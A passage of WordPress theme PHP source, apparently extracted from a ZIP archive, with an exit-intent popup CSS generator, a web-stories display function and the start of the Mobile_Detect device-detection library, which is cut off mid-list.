	}

    public function popup_style() {

		$popup_bgimg       = get_theme_mod( 'penci_epopup_bgimg' );
		$popup_bgcl        = get_theme_mod( 'penci_epopup_bgcolor' );
		$popup_bgrepeat    = get_theme_mod( 'penci_epopup_bgrepeat' );
		$popup_bgposition  = get_theme_mod( 'penci_epopup_bgposition' );
		$popup_bgsize      = get_theme_mod( 'penci_epopup_bgsize' );
		$popup_bgscroll    = get_theme_mod( 'penci_epopup_bgscroll' );
		$popup_mw          = get_theme_mod( 'penci_epopup_width_mobile' );
		$popup_w           = get_theme_mod( 'penci_epopup_width_desktop' );
		$popup_cl          = get_theme_mod( 'penci_epopup_txtcolor' );
		$popup_tsize       = get_theme_mod( 'penci_epopup_txt_size' );
		$popup_tmsize      = get_theme_mod( 'penci_epopup_txt_msize' );
		$popup_spacing     = get_theme_mod( 'penci_epopup_spacing' );
		$popup_bordercolor = get_theme_mod( 'penci_epopup_bordercolor' );

		echo '.penci-epopup-content{';
		if ( $popup_bgimg ) {
			echo 'background-image:url("' . esc_url( $popup_bgimg ) . '");';
		}
		if ( $popup_bgcl ) {
			echo 'background-color:' . esc_attr( $popup_bgcl ) . ';';
		}
		if ( $popup_bgrepeat ) {
			echo 'background-repeat:' . esc_attr( $popup_bgrepeat ) . ';';
		}
		if ( $popup_bgposition ) {
			echo 'background-position:' . esc_attr( $popup_bgposition ) . ';';
		}
		if ( $popup_bgsize ) {
			echo 'background-size:' . esc_attr( $popup_bgsize ) . ';';
		}
		if ( $popup_bgscroll ) {
			echo 'background-scroll:' . esc_attr( $popup_bgscroll ) . ';';
		}
		if ( $popup_w ) {
			echo 'max-width:' . esc_attr( $popup_w ) . 'px;';
		}
		if ( $popup_cl ) {
			echo 'color:' . esc_attr( $popup_cl ) . ';';
		}
		if ( $popup_tsize ) {
			echo 'font-size:' . esc_attr( $popup_tsize ) . 'px;';
		}
		if ( $popup_bordercolor ) {
			echo 'border-color:' . esc_attr( $popup_bordercolor ) . ';';
			echo 'border-style: solid;';
		}
		if ( $popup_spacing ) {
			echo $this->penci_spacing_extract_data( $popup_spacing );
		}
		echo '}';

		$popup_close_cl = get_theme_mod( 'penci_epopup_closecolor' );

		if ( $popup_close_cl ) {
			echo '.mfp-close-btn-in .penci-popup-content .mfp-close{';
			echo 'color:' . esc_attr( $popup_close_cl ) . ';';
			echo '}';
		}


		echo '@media only screen and (max-width:767px){.penci-popup-content{';
		if ( $popup_tmsize ) {
			echo 'font-size:' . esc_attr( $popup_tmsize ) . 'px;';
		}
		if ( $popup_mw ) {
			echo 'max-width:' . esc_attr( $popup_mw ) . 'px;';
		}
		echo '}}';

	}

	public function penci_spacing_extract_data( $number = '', $out = '' ) {
		$mpb = explode( ',', $number );
		if ( isset( $mpb[0] ) && is_numeric( $mpb[0] ) ) {
			$out .= 'padding-top:' . esc_attr( $mpb[0] ) . 'px;';
		}
		if ( isset( $mpb[1] ) && is_numeric( $mpb[1] ) ) {
			$out .= 'padding-right:' . esc_attr( $mpb[1] ) . 'px;';
		}
		if ( isset( $mpb[2] ) && is_numeric( $mpb[2] ) ) {
			$out .= 'padding-bottom:' . esc_attr( $mpb[2] ) . 'px;';
		}
		if ( isset( $mpb[3] ) && is_numeric( $mpb[3] ) ) {
			$out .= 'padding-left:' . esc_attr( $mpb[3] ) . 'px;';
		}

		if ( isset( $mpb[4] ) && is_numeric( $mpb[4] ) ) {
			$out .= 'border-top-width:' . esc_attr( $mpb[4] ) . 'px;';
		}
		if ( isset( $mpb[5] ) && is_numeric( $mpb[5] ) ) {
			$out .= 'border-right-width:' . esc_attr( $mpb[5] ) . 'px;';
		}
		if ( isset( $mpb[6] ) && is_numeric( $mpb[6] ) ) {
			$out .= 'border-bottom-width:' . esc_attr( $mpb[6] ) . 'px;';
		}
		if ( isset( $mpb[7] ) && is_numeric( $mpb[7] ) ) {
			$out .= 'border-left-width:' . esc_attr( $mpb[7] ) . 'px;';
		}

		if ( isset( $mpb[8] ) && is_numeric( $mpb[8] ) ) {
			$out .= 'border-top-left-radius:' . esc_attr( $mpb[8] ) . 'px;';
		}
		if ( isset( $mpb[9] ) && is_numeric( $mpb[9] ) ) {
			$out .= 'border-top-right-radius:' . esc_attr( $mpb[9] ) . 'px;';
		}
		if ( isset( $mpb[10] ) && is_numeric( $mpb[10] ) ) {
			$out .= 'border-bottom-right-radius:' . esc_attr( $mpb[10] ) . 'px;';
		}
		if ( isset( $mpb[11] ) && is_numeric( $mpb[11] ) ) {
			$out .= 'border-bottom-left-radius:' . esc_attr( $mpb[11] ) . 'px;';
		}

		return $out;
	}
}

$exit_intent_popup = new PenciExitIntentPopup();PK     1w\A9#  9#    web-stories.phpnu [        <?php
if ( ! function_exists( 'penci_webstories' ) ) {
	function penci_webstories( $settings = [] ) {

		$default = [
			'id'                 => '',
			'layout'             => 'grid',
			'mobile_one_row'     => 'yes',
			'shownav'            => '',
			'showdots'           => '',
			'autoplay'           => '',
			'auto_time'          => '',
			'speed'              => '',
			'loop'               => '',
			'query_type'         => 'all',
			'story_cat'          => '',
			'story_tag'          => '',
			'story_ids'          => '',
			'ex_story_cat'       => '',
			'ex_story_tag'       => '',
			'ex_story_ids'       => '',
			'showtitle'          => '',
			'nextprev'           => '',
			'pos'                => '',
			'imgsize'            => 'post-thumbnail',
			'lazyload'           => '',
			'columns'            => [ 'size' => 4 ],
			'columns_tablet'     => [ 'size' => 4 ],
			'columns_mobile'     => [ 'size' => 4 ],
			'ajax_loading_style' => 'df'
		];

		$settings = wp_parse_args( $settings, $default );

		$count     = 0;
		$class     = [];
		$data_attr = [];

		$class[] = $settings['layout'];

		if ( $settings['layout'] == 'onerow' ) {
			$class[] = 'one-row';
		}

		if ( $settings['layout'] == 'slider' ) {
			$class[] = 'penci-owl-carousel penci-owl-carousel-slider swiper';

			$data_next_prev = 'yes' == $settings['shownav'] ? 'true' : 'false';
			$data_dots      = 'yes' == $settings['showdots'] ? 'true' : 'false';
			$data_attr[]    = 'data-height="false"';
			$data_attr[]    = 'data-dots="' . $data_dots . '" data-nav="' . $data_next_prev . '"';
			$data_attr[]    = 'data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
			$data_attr[]    = 'data-autotime="' . ( $settings['auto_time'] ? intval( $settings['auto_time'] ) : '4000' ) . '"';
			$data_attr[]    = 'data-speed="' . ( $settings['speed'] ? intval( $settings['speed'] ) : '600' ) . '"';
			$data_attr[]    = 'data-loop="' . ( 'yes' == $settings['loop'] ? 'true' : 'false' ) . '"';
			$data_attr[]    = 'data-item="' . ( isset( $settings['columns']['size'] ) ? $settings['columns']['size'] : 6 ) . '"';
			$data_attr[]    = 'data-desktop="' . ( isset( $settings['columns']['size'] ) ? $settings['columns']['size'] : 6 ) . '"';
			$data_attr[]    = 'data-tablet="' . ( isset( $settings['columns_tablet']['size'] ) ? $settings['columns_tablet']['size'] : 6 ) . '"';
			$data_attr[]    = 'data-mobile="' . ( isset( $settings['columns_mobile']['size'] ) ? $settings['columns_mobile']['size'] : 2 ) . '"';
		}

		$data_attr = ! empty( $data_attr ) ? ' ' . implode( ' ', $data_attr ) : '';

		$agrs = [
			'post_type'      => 'web-story',
			'orderby'        => $settings['orderby'],
			'order'          => $settings['order'],
			'posts_per_page' => $settings['number'],
			'offset'         => $settings['offset'],
		];

		if ( $settings['query_type'] == 'custom' ) {
			$agrs['post__in'] = is_array( $settings['story_ids'] ) ? $settings['story_ids'] : explode( ',', $settings['story_ids'] );
		} else {
			if ( $settings['story_cat'] ) {
				$agrs['tax_query'][] = [
					'taxonomy' => 'web_story_category',
					'field'    => 'term_id',
					'terms'    => is_array( $settings['story_cat'] ) ? $settings['story_cat'] : explode( ',', $settings['story_cat'] ),
				];
			}
			if ( $settings['story_tag'] ) {
				$agrs['tax_query'][] = [
					'taxonomy' => 'web_story_tag',
					'field'    => 'term_id',
					'terms'    => is_array( $settings['story_tag'] ) ? $settings['story_tag'] : explode( ',', $settings['story_tag'] ),
				];
			}
			if ( $settings['ex_story_cat'] ) {
				$agrs['tax_query'][] = [
					'taxonomy' => 'web_story_category',
					'field'    => 'term_id',
					'terms'    => is_array( $settings['ex_story_cat'] ) ? $settings['ex_story_cat'] : explode( ',', $settings['ex_story_cat'] ),
					'operator' => 'NOT IN',
				];
			}
			if ( $settings['ex_story_tag'] ) {
				$agrs['tax_query'][] = [
					'taxonomy' => 'ex_story_tag',
					'field'    => 'term_id',
					'terms'    => is_array( $settings['ex_story_tag'] ) ? $settings['ex_story_tag'] : explode( ',', $settings['ex_story_tag'] ),
					'operator' => 'NOT IN',
				];
			}
			if ( $settings['ex_story_ids'] ) {
				$agrs['post__not_in'] = is_array( $settings['ex_story_ids'] ) ? $settings['ex_story_ids'] : explode( ',', $settings['ex_story_ids'] );
			}
		}

		$web_query = new \WP_Query( $agrs );
		$total     = $web_query->found_posts;
		$seen      = isset( $_COOKIE['pc_webstories_seen'] ) && $_COOKIE['pc_webstories_seen'] ? explode( '|', $_COOKIE['pc_webstories_seen'] ) : [];
		$id_base   = $settings['id'] ? ' id="' . $settings['id'] . '"' : '';
		?>
        <div class="pc-wstories"<?php echo $id_base; ?>>
            <div class="pc-wstories-wrapper">
				<?php if ( $web_query->have_posts() ) : ?>
                    <div class="pc-wstories-list <?php echo implode( ' ', $class ); ?>"
						<?php echo $data_attr; ?>
                         data-total="<?php echo esc_attr( $total ); ?>">
						<?php
						$item_class = ' normal-item';
						if ( $settings['layout'] == 'slider' ) {
						$item_class = ' swiper-slide';
						?>
                        <div class="swiper-wrapper">
							<?php } ?>
							<?php while ( $web_query->have_posts() ) {
								$web_query->the_post();
								$seen_class = in_array( get_the_ID(), $seen ) ? ' seen' : ' new';
								$title      = get_the_title() ? get_the_title() : '';
								$count ++;
								?>
                                <div class="pc-webstory-item item-<?php echo esc_attr( $count ); ?> pc-story-link<?php echo $seen_class . $item_class; ?>"
                                     data-count="<?php echo esc_attr( $count ); ?>"
                                     data-id="<?php the_ID(); ?>"
                                     data-url="<?php echo get_the_permalink(); ?>">
                                    <div class="pc-webstory-item-wrapper">
                                        <div class="pc-webstory-thumb-wrapper">
											<?php if ( has_post_thumbnail() ): ?>

                                                <div <?php echo penci_layout_bg( get_the_post_thumbnail_url( get_the_ID(), $settings['imgsize'] ), 'yes' == $settings['lazyload'] ); ?> title="<?php echo sanitize_text_field( $title ); ?>"
                                                     class="<?php echo penci_layout_bg_class();?> penci-image-holder pc-webstory-thumb">
													<?php echo penci_layout_img( get_the_post_thumbnail_url( get_the_ID(), $settings['imgsize'] ), $title, 'yes' == $settings['lazyload'] ); ?>
                                                </div>

											<?php else: ?>
                                                <div title="<?php echo sanitize_text_field( $title ); ?>"
                                                     style="background-image:none;background-color:<?php echo sprintf( "#%06x", rand( 0, 16777215 ) ); ?>"
                                                     class="penci-image-holder pc-webstory-thumb"></div>
											<?php endif; ?>
                                        </div>
										<?php if ( 'yes' == $settings['showtitle'] ): ?>
                                            <div class="pc-webstory-item-title">
                                                <h4 title="<?php echo sanitize_text_field( $title ); ?>"><?php echo esc_html( $title ); ?></h4>
                                            </div>
										<?php endif; ?>
                                    </div>
                                </div>
							<?php } ?>
							<?php if ( $settings['layout'] == 'slider' ) { ?>
                        </div>
					<?php } ?>
                    </div>
				<?php endif;
				wp_reset_postdata(); ?>
            </div>
            <div class="pc-wstories-popup-wrapper">
                <div class="pc-wstories-popup-toolbar">
                    <span class="pc-ws-btn close">
                        <i class="penciicon-close-button"></i>
                    </span>
					<?php if ( 'yes' == $settings['nextprev'] ): ?>
                        <span class="pc-ws-btn pc-story-link disable previous">
                        <i class="penciicon-left-chevron"></i>
                    </span>
					<?php endif; ?>
					<?php if ( 'yes' == $settings['pos'] ): ?>
                        <span class="pc-ws-btn pc-story-info">
                            <span class="current"></span> / <span class="total"></span>
                        </span>
					<?php endif; ?>
					<?php if ( 'yes' == $settings['nextprev'] ): ?>
                        <span class="pc-ws-btn pc-story-link disable next">
                        <i class="penciicon-right-chevron"></i>
                    </span>
					<?php endif; ?>
                </div>
                <div class="pc-wstories-popup-content"></div>
                <div class="pc-loading-wrapper">
					<?php echo penci_get_html_animation_loading( $settings['ajax_loading_style'] ); ?>
                </div>
            </div>
        </div>
		<?php
	}
}
PK     1w\mZx5 x5   Mobile_Detect.phpnu [        <?php
/**
 * Mobile Detect Library
 * Motto: "Every business should have a mobile detection script to detect mobile readers"
 *
 * Mobile_Detect is a lightweight PHP class for detecting mobile devices (including tablets).
 * It uses the User-Agent string combined with specific HTTP headers to detect the mobile environment.
 *
 * Homepage: http://mobiledetect.net
 * GitHub: https://github.com/serbanghita/Mobile-Detect
 * README: https://github.com/serbanghita/Mobile-Detect/blob/master/README.md
 * CONTRIBUTING: https://github.com/serbanghita/Mobile-Detect/blob/master/docs/CONTRIBUTING.md
 * KNOWN LIMITATIONS: https://github.com/serbanghita/Mobile-Detect/blob/master/docs/KNOWN_LIMITATIONS.md
 * EXAMPLES: https://github.com/serbanghita/Mobile-Detect/wiki/Code-examples
 *
 * @license https://github.com/serbanghita/Mobile-Detect/blob/master/LICENSE
 * @author  Serban Ghita <serbanghita@gmail.com> (since 2012)
 * @author  Nick Ilyin <nick.ilyin@gmail.com>
 * @author: Victor Stanciu <vic.stanciu@gmail.com> (original author)
 *
 * @version 3.74.3
 */
namespace Detection;

use BadMethodCallException;

/**
 * Auto-generated isXXXX() magic methods.
 * php export/dump_magic_methods.php
 *
 * @method bool isiPhone()
 * @method bool isBlackBerry()
 * @method bool isPixel()
 * @method bool isHTC()
 * @method bool isNexus()
 * @method bool isDell()
 * @method bool isMotorola()
 * @method bool isSamsung()
 * @method bool isLG()
 * @method bool isSony()
 * @method bool isAsus()
 * @method bool isXiaomi()
 * @method bool isNokiaLumia()
 * @method bool isMicromax()
 * @method bool isPalm()
 * @method bool isVertu()
 * @method bool isPantech()
 * @method bool isFly()
 * @method bool isWiko()
 * @method bool isiMobile()
 * @method bool isSimValley()
 * @method bool isWolfgang()
 * @method bool isAlcatel()
 * @method bool isNintendo()
 * @method bool isAmoi()
 * @method bool isINQ()
 * @method bool isOnePlus()
 * @method bool isGenericPhone()
 * @method bool isiPad()
 * @method bool isNexusTablet()
 * @method bool isGoogleTablet()
 * @method bool isSamsungTablet()
 * @method bool isKindle()
 * @method bool isSurfaceTablet()
 * @method bool isHPTablet()
 * @method bool isAsusTablet()
 * @method bool isBlackBerryTablet()
 * @method bool isHTCtablet()
 * @method bool isMotorolaTablet()
 * @method bool isNookTablet()
 * @method bool isAcerTablet()
 * @method bool isToshibaTablet()
 * @method bool isLGTablet()
 * @method bool isFujitsuTablet()
 * @method bool isPrestigioTablet()
 * @method bool isLenovoTablet()
 * @method bool isDellTablet()
 * @method bool isYarvikTablet()
 * @method bool isMedionTablet()
 * @method bool isArnovaTablet()
 * @method bool isIntensoTablet()
 * @method bool isIRUTablet()
 * @method bool isMegafonTablet()
 * @method bool isEbodaTablet()
 * @method bool isAllViewTablet()
 * @method bool isArchosTablet()
 * @method bool isAinolTablet()
 * @method bool isNokiaLumiaTablet()
 * @method bool isSonyTablet()
 * @method bool isPhilipsTablet()
 * @method bool isCubeTablet()
 * @method bool isCobyTablet()
 * @method bool isMIDTablet()
 * @method bool isMSITablet()
 * @method bool isSMiTTablet()
 * @method bool isRockChipTablet()
 * @method bool isFlyTablet()
 * @method bool isbqTablet()
 * @method bool isHuaweiTablet()
 * @method bool isNecTablet()
 * @method bool isPantechTablet()
 * @method bool isBronchoTablet()
 * @method bool isVersusTablet()
 * @method bool isZyncTablet()
 * @method bool isPositivoTablet()
 * @method bool isNabiTablet()
 * @method bool isKoboTablet()
 * @method bool isDanewTablet()
 * @method bool isTexetTablet()
 * @method bool isPlaystationTablet()
 * @method bool isTrekstorTablet()
 * @method bool isPyleAudioTablet()
 * @method bool isAdvanTablet()
 * @method bool isDanyTechTablet()
 * @method bool isGalapadTablet()
 * @method bool isMicromaxTablet()
 * @method bool isKarbonnTablet()
 * @method bool isAllFineTablet()
 * @method bool isPROSCANTablet()
 * @method bool isYONESTablet()
 * @method bool isChangJiaTablet()
 * @method bool isGUTablet()
 * @method bool isPointOfViewTablet()
 * @method bool isOvermaxTablet()
 * @method bool isHCLTablet()
 * @method bool isDPSTablet()
 * @method bool isVistureTablet()
 * @method bool isCrestaTablet()
 * @method bool isMediatekTablet()
 * @method bool isConcordeTablet()
 * @method bool isGoCleverTablet()
 * @method bool isModecomTablet()
 * @method bool isVoninoTablet()
 * @method bool isECSTablet()
 * @method bool isStorexTablet()
 * @method bool isVodafoneTablet()
 * @method bool isEssentielBTablet()
 * @method bool isRossMoorTablet()
 * @method bool isiMobileTablet()
 * @method bool isTolinoTablet()
 * @method bool isAudioSonicTablet()
 * @method bool isAMPETablet()
 * @method bool isSkkTablet()
 * @method bool isTecnoTablet()
 * @method bool isJXDTablet()
 * @method bool isiJoyTablet()
 * @method bool isFX2Tablet()
 * @method bool isXoroTablet()
 * @method bool isViewsonicTablet()
 * @method bool isVerizonTablet()
 * @method bool isOdysTablet()
 * @method bool isCaptivaTablet()
 * @method bool isIconbitTablet()
 * @method bool isTeclastTablet()
 * @method bool isOndaTablet()
 * @method bool isJaytechTablet()
 * @method bool isBlaupunktTablet()
 * @method bool isDigmaTablet()
 * @method bool isEvolioTablet()
 * @method bool isLavaTablet()
 * @method bool isAocTablet()
 * @method bool isMpmanTablet()
 * @method bool isCelkonTablet()
 * @method bool isWolderTablet()
 * @method bool isMediacomTablet()
 * @method bool isMiTablet()
 * @method bool isNibiruTablet()
 * @method bool isNexoTablet()
 * @method bool isLeaderTablet()
 * @method bool isUbislateTablet()
 * @method bool isPocketBookTablet()
 * @method bool isKocasoTablet()
 * @method bool isHisenseTablet()
 * @method bool isHudl()
 * @method bool isTelstraTablet()
 * @method bool isGenericTablet()
 * @method bool isAndroidOS()
 * @method bool isBlackBerryOS()
 * @method bool isPalmOS()
 * @method bool isSymbianOS()
 * @method bool isWindowsMobileOS()
 * @method bool isWindowsPhoneOS()
 * @method bool isiOS()
 * @method bool isiPadOS()
 * @method bool isSailfishOS()
 * @method bool isMeeGoOS()
 * @method bool isMaemoOS()
 * @method bool isJavaOS()
 * @method bool iswebOS()
 * @method bool isbadaOS()
 * @method bool isBREWOS()
 * @method bool isChrome()
 * @method bool isDolfin()
 * @method bool isOpera()
 * @method bool isSkyfire()
 * @method bool isEdge()
 * @method bool isIE()
 * @method bool isFirefox()
 * @method bool isBolt()
 * @method bool isTeaShark()
 * @method bool isBlazer()
 * @method bool isSafari()
 * @method bool isWeChat()
 * @method bool isUCBrowser()
 * @method bool isbaiduboxapp()
 * @method bool isbaidubrowser()
 * @method bool isDiigoBrowser()
 * @method bool isMercury()
 * @method bool isObigoBrowser()
 * @method bool isNetFront()
 * @method bool isGenericBrowser()
 * @method bool isPaleMoon()
 * @method bool isWebKit()
 * @method bool isConsole()
 * @method bool isWatch()
 */
class Penci_Mobile_Detect
{
    /**
     * A frequently used regular expression to extract version #s.
     *
     * @deprecated since version 2.6.9
     */
    const VER                       = '([\w._\+]+)';

    /**
     * Stores the version number of the current release.
     */
    const VERSION                   = '3.74.3';

    /**
     * A type for the version() method indicating a string return value.
     */
    const VERSION_TYPE_STRING       = 'text';

    /**
     * A type for the version() method indicating a float return value.
     */
    const VERSION_TYPE_FLOAT        = 'float';

    /**
     * A cache for resolved matches
     * @var array
     */
    protected array $cache = [];

    /**
     * The User-Agent HTTP header is stored in here.
     * @var string|null
     */
    protected ?string $userAgent = null;

    /**
     * HTTP headers in the PHP-flavor. So HTTP_USER_AGENT and SERVER_SOFTWARE.
     * @var array
     */
    protected array $httpHeaders = [];

    /**
     * CloudFront headers. E.g. CloudFront-Is-Desktop-Viewer, CloudFront-Is-Mobile-Viewer & CloudFront-Is-Tablet-Viewer.
     * @var array
     */
    protected array $cloudfrontHeaders = [];

    /**
     * The matching Regex.
     * This is good for debug.
     * @var string|null
     */
    protected ?string $matchingRegex = null;

    /**
     * The matches extracted from the regex expression.
     * This is good for debug.
     *
     * @var array|null
     */
    protected ?array $matchesArray = null;

    /**
     * HTTP headers that trigger the 'isMobile' detection
     * to be true.
     *
     * @var array
     */
    protected static array $mobileHeaders = [

            'HTTP_ACCEPT'                  => [
                'matches' => [
                    // Opera Mini
                    // @reference: http://dev.opera.com/articles/view/opera-binary-markup-language/
                    'application/x-obml2d',
                    // BlackBerry devices.
                    'application/vnd.rim.html',
                    'text/vnd.wap.wml',
                    'application/vnd.wap.xhtml+xml'
                ]],
            'HTTP_X_WAP_PROFILE'           => null,
            'HTTP_X_WAP_CLIENTID'          => null,
            'HTTP_WAP_CONNECTION'          => null,
            'HTTP_PROFILE'                 => null,
            // Reported by Opera on Nokia devices (eg. C3).
            'HTTP_X_OPERAMINI_PHONE_UA'    => null,
            'HTTP_X_NOKIA_GATEWAY_ID'      => null,
            'HTTP_X_ORANGE_ID'             => null,
            'HTTP_X_VODAFONE_3GPDPCONTEXT' => null,
            'HTTP_X_HUAWEI_USERID'         => null,
            // Reported by Windows Smartphones.
            'HTTP_UA_OS'                   => null,
            // Reported by Verizon, Vodafone proxy system.
            'HTTP_X_MOBILE_GATEWAY'        => null,
            // Seen this on HTC Sensation. SensationXE_Beats_Z715e.
            'HTTP_X_ATT_DEVICEID'          => null,
            // Seen this on a HTC.
            'HTTP_UA_CPU'                  => ['matches' => ['ARM']],
    ];

    /**
     * List of mobile devices (phones).
     *
     * @var array
     */
    protected static array $phoneDevices = [
        'iPhone'        => '\biPhone\b|\biPod\b', // |\biTunes
        'BlackBerry'    => 'BlackBerry|\bBB10\b|rim[0-9]+|\b(BBA100|BBB100|BBD100|BBE100|BBF100|STH100)\b-[0-9]+',
        'Pixel'         => '; \bPixel\b',
        'HTC'           => 'HTC|HTC.*(Sensation|Evo|Vision|Explorer|6800|8100|8900|A7272|S510e|C110e|Legend|Desire|T8282)|APX515CKT|Qtek9090|APA9292KT|HD_mini|Sensation.*Z710e|PG86100|Z715e|Desire.*(A8181|HD)|ADR6200|ADR6400L|ADR6425|001HT|Inspire 4G|Android.*\bEVO\b|T-Mobile G1|Z520m|Android [0-9.]+; Pixel',
        'Nexus'         => 'Nexus One|Nexus S|Galaxy.*Nexus|Android.*Nexus.*Mobile|Nexus 4|Nexus 5|Nexus 5X|Nexus 6',
        // @todo: Is 'Dell Streak' a tablet or a phone? ;)
        'Dell'          => 'Dell[;]? (Streak|Aero|Venue|Venue Pro|Flash|Smoke|Mini 3iX)|XCD28|XCD35|\b001DL\b|\b101DL\b|\bGS01\b',
        'Motorola'      => 'Motorola|DROIDX|DROID BIONIC|\bDroid\b.*Build|Android.*Xoom|HRI39|MOT-|A1260|A1680|A555|A853|A855|A953|A955|A956|Motorola.*ELECTRIFY|Motorola.*i1|i867|i940|MB200|MB300|MB501|MB502|MB508|MB511|MB520|MB525|MB526|MB611|MB612|MB632|MB810|MB855|MB860|MB861|MB865|MB870|ME501|ME502|ME511|ME525|ME600|ME632|ME722|ME811|ME860|ME863|ME865|MT620|MT710|MT716|MT720|MT810|MT870|MT917|Motorola.*TITANIUM|WX435|WX445|XT300|XT301|XT311|XT316|XT317|XT319|XT320|XT390|XT502|XT530|XT531|XT532|XT535|XT603|XT610|XT611|XT615|XT681|XT701|XT702|XT711|XT720|XT800|XT806|XT860|XT862|XT875|XT882|XT883|XT894|XT901|XT907|XT909|XT910|XT912|XT928|XT926|XT915|XT919|XT925|XT1021|\bMoto E\b|XT1068|XT1092|XT1052',
        'Samsung'       => '\bSamsung\b|SM-G950F|SM-G955F|SM-G9250|GT-19300|SGH-I337|BGT-S5230|GT-B2100|GT-B2700|GT-B2710|GT-B3210|GT-B3310|GT-B3410|GT-B3730|GT-B3740|GT-B5510|GT-B5512|GT-B5722|GT-B6520|GT-B7300|GT-B7320|GT-B7330|GT-B7350|GT-B7510|GT-B7722|GT-B7800|GT-C3010|GT-C3011|GT-C3060|GT-C3200|GT-C3212|GT-C3212I|GT-C3262|GT-C3222|GT-C3300|GT-C3300K|GT-C3303|GT-C3303K|GT-C3310|GT-C3322|GT-C3330|GT-C3350|GT-C3500|GT-C3510|GT-C3530|GT-C3630|GT-C3780|GT-C5010|GT-C5212|GT-C6620|GT-C6625|GT-C6712|GT-E1050|GT-E1070|GT-E1075|GT-E1080|GT-E1081|GT-E1085|GT-E1087|GT-E1100|GT-E1107|GT-E1110|GT-E1120|GT-E1125|GT-E1130|GT-E1160|GT-E1170|GT-E1175|GT-E1180|GT-E1182|GT-E1200|GT-E1210|GT-E1225|GT-E1230|GT-E1390|GT-E2100|GT-E2120|GT-E2121|GT-E2152|GT-E2220|GT-E2222|GT-E2230|GT-E2232|GT-E2250|GT-E2370|GT-E2550|GT-E2652|GT-E3210|GT-E3213|GT-I5500|GT-I5503|GT-I5700|GT-I5800|GT-I5801|GT-I6410|GT-I6420|GT-I7110|GT-I7410|GT-I7500|GT-I8000|GT-I8150|GT-I8160|GT-I8190|GT-I8320|GT-I8330|GT-I8350|GT-I8530|GT-I8700|GT-I8703|GT-I8910|GT-I9000|GT-I9001|GT-I9003|GT-I9010|GT-I9020|GT-I9023|GT-I9070|GT-I9082|GT-I9100|GT-I9103|GT-I9220|GT-I9250|GT-I9300|GT-I9305|GT-I9500|GT-I9505|GT-M3510|GT-M5650|GT-M7500|GT-M7600|GT-M7603|GT-M8800|GT-M8910|GT-N7000|GT-S3110|GT-S3310|GT-S3350|GT-S3353|GT-S3370|GT-S3650|GT-S3653|GT-S3770|GT-S3850|GT-S5210|GT-S5220|GT-S5229|GT-S5230|GT-S5233|GT-S5250|GT-S5253|GT-S5260|GT-S5263|GT-S5270|GT-S5300|GT-S5330|GT-S5350|GT-S5360|GT-S5363|GT-S5369|GT-S5380|GT-S5380D|GT-S5560|GT-S5570|GT-S5600|GT-S5603|GT-S5610|GT-S5620|GT-S5660|GT-S5670|GT-S5690|GT-S5750|GT-S5780|GT-S5830|GT-S5839|GT-S6102|GT-S6500|GT-S7070|GT-S7200|GT-S7220|GT-S7230|GT-S7233|GT-S7250|GT-S7500|GT-S7530|GT-S7550|GT-S7562|GT-S7710|GT-S8000|GT-S8003|GT-S8500|GT-S8530|GT-S8600|SCH-A310|SCH-A530|SCH-A570|SCH-A610|SCH-A630|SCH-A650|SCH-A790|SCH-A795|SCH-A850|SCH-A870|SCH-A890|SCH-A930|SCH-A950|SCH-A970|SCH-A990|SCH-I100|SCH-I110|SCH-I400|SCH-I405|SCH-I500|SCH-I510|SCH-I515|SCH-I600|SCH-I730|SCH-I760|SCH-I770|SCH-I830|SCH-I910|SCH-I920|SCH-I959|SCH-LC11|SCH-N150|SCH-N300|SCH-R100|SCH-R300|SCH-R351|SCH-R400|SCH-R410|SCH-T300|SCH-U310|SCH-U320|SCH-U350|SCH-U360|SCH-U365|SCH-U370|SCH-U380|SCH-U410|SCH-U430|SCH-U450|SCH-U460|SCH-U470|SCH-U490|SCH-U540|SCH-U550|SCH-U620|SCH-U640|SCH-U650|SCH-U660|SCH-U700|SCH-U740|SCH-U750|SCH-U810|SCH-U820|SCH-U900|SCH-U940|SCH-U960|SCS-26UC|SGH-A107|SGH-A117|SGH-A127|SGH-A137|SGH-A157|SGH-A167|SGH-A177|SGH-A187|SGH-A197|SGH-A227|SGH-A237|SGH-A257|SGH-A437|SGH-A517|SGH-A597|SGH-A637|SGH-A657|SGH-A667|SGH-A687|SGH-A697|SGH-A707|SGH-A717|SGH-A727|SGH-A737|SGH-A747|SGH-A767|SGH-A777|SGH-A797|SGH-A817|SGH-A827|SGH-A837|SGH-A847|SGH-A867|SGH-A877|SGH-A887|SGH-A897|SGH-A927|SGH-B100|SGH-B130|SGH-B200|SGH-B220|SGH-C100|SGH-C110|SGH-C120|SGH-C130|SGH-C140|SGH-C160|SGH-C170|SGH-C180|SGH-C200|SGH-C207|SGH-C210|SGH-C225|SGH-C230|SGH-C417|SGH-C450|SGH-D307|SGH-D347|SGH-D357|SGH-D407|SGH-D415|SGH-D780|SGH-D807|SGH-D980|SGH-E105|SGH-E200|SGH-E315|SGH-E316|SGH-E317|SGH-E335|SGH-E590|SGH-E635|SGH-E715|SGH-E890|SGH-F300|SGH-F480|SGH-I200|SGH-I300|SGH-I320|SGH-I550|SGH-I577|SGH-I600|SGH-I607|SGH-I617|SGH-I627|SGH-I637|SGH-I677|SGH-I700|SGH-I717|SGH-I727|SGH-i747M|SGH-I777|SGH-I780|SGH-I827|SGH-I847|SGH-I857|SGH-I896|SGH-I897|SGH-I900|SGH-I907|SGH-I917|SGH-I927|SGH-I937|SGH-I997|SGH-J150|SGH-J200|SGH-L170|SGH-L700|SGH-M110|SGH-M150|SGH-M200|SGH-N105|SGH-N500|SGH-N600|SGH-N620|SGH-N625|SGH-N700|SGH-N710|SGH-P107|SGH-P207|SGH-P300|SGH-P310|SGH-P520|SGH-P735|SGH-P777|SGH-Q105|SGH-R210|SGH-R220|SGH-R225|SGH-S105|SGH-S307|SGH-T109|SGH-T119|SGH-T139|SGH-T209|SGH-T219|SGH-T229|SGH-T239|SGH-T249|SGH-T259|SGH-T309|SGH-T319|SGH-T329|SGH-T339|SGH-T349|SGH-T359|SGH-T369|SGH-T379|SGH-T409|SGH-T429|SGH-T439|SGH-T459|SGH-T469|SGH-T479|SGH-T499|SGH-T509|SGH-T519|SGH-T539|SGH-T559|SGH-T589|SGH-T609|SGH-T619|SGH-T629|SGH-T639|SGH-T659|SGH-T669|SGH-T679|SGH-T709|SGH-T719|SGH-T729|SGH-T739|SGH-T746|SGH-T749|SGH-T759|SGH-T769|SGH-T809|SGH-T819|SGH-T839|SGH-T919|SGH-T929|SGH-T939|SGH-T959|SGH-T989|SGH-U100|SGH-U200|SGH-U800|SGH-V205|SGH-V206|SGH-X